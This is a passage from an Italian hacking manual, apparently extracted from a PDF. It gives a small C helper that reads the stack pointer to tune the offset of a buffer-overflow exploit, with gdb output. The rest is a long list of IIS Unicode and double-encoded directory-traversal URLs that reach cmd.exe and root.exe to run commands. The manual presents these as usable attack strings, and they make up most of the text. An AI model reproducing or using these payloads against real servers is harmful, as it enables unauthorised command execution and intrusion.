    long getesp() {__asm__("movl %esp,%eax");}

    void main() {printf("%08X\n",getesp()+4);

    }

    $ ./sploitBFFFF41Cbash$ ./whatespBFFFF818

    Il secondo valore che vedrete BFFFF818 che vi dir quale valore usare in STACK_FRAME(0x818).

    $ ./sploitBFFFF418bash$ gdb whatespGDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.

    There is absolutely no warranty for GDB; type "show warranty" fordetails.GDB 4.14 (i486-slackware-linux),Copyright 1995 Free Software Foundation, Inc...(no debugging symbolsfound)...(gdb) runStarting program: whatespBFFFF7FC

    Program exited with code 011.(gdb)

    Rimpiazzate il valore 0x818 nello STACK_FRAME con 0x7fc.

    Altre stringhe legate a UNICODENei capitoli in cui abbiamo parlato dei problemi legati ai WEB windows abbiamo visto il discorsolegato allUNICODE BUG.

  • 7/31/2019 HackerProgrammingBook Part 16

    20/21

    Ecco un'altra serie di stringhe utilizzabili :

    /MSADC/root.exe?/c+dir/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir

    /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir

    /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir/c/winnt/system32/cmd.exe?/c+dir/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir/d/winnt/system32/cmd.exe?/c+dir/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..

    %252fwinnt/system32/cmd.exe?/c+dir/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir/msaDC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir/msaDC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir/msaDC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir/msaDC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir

    /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir/msadc/..%c1%af../winnt/system32/cmd.exe?/c+dir/msadc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir/msadc/..%c1%pc../winnt/system32/cmd.exe?/c+dir/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir/msadc/..%e0%80%af../winnt/system32/cmd.exe?/c+dir/msadc/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir/msadc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir/msadc/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir

  • 7/31/2019 HackerProgrammingBook Part 16

    21/21

    /msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir/msadc/..\ HTTP/1.1%e0\ HTTP/1.1%80\ HTTP/1.1%af../..\ HTTP/1.1%e0\HTTP/1.1%80\ HTTP/1.1%af../..\ HTTP/1.1%e0\ HTTP/1.1%80\HTTP/1.1%af../winnt/system32/cmd.exe\ HTTP/1.1?/c\ HTTP/1.1+dir/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir

    /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir/scripts/..%252f../winnt/system32/cmd.exe?/c+dir/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir/scripts/..%255c../winnt/system32/cmd.exe?/c+dir/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

    /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir/scripts/root.exe?/c+dir/msadc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir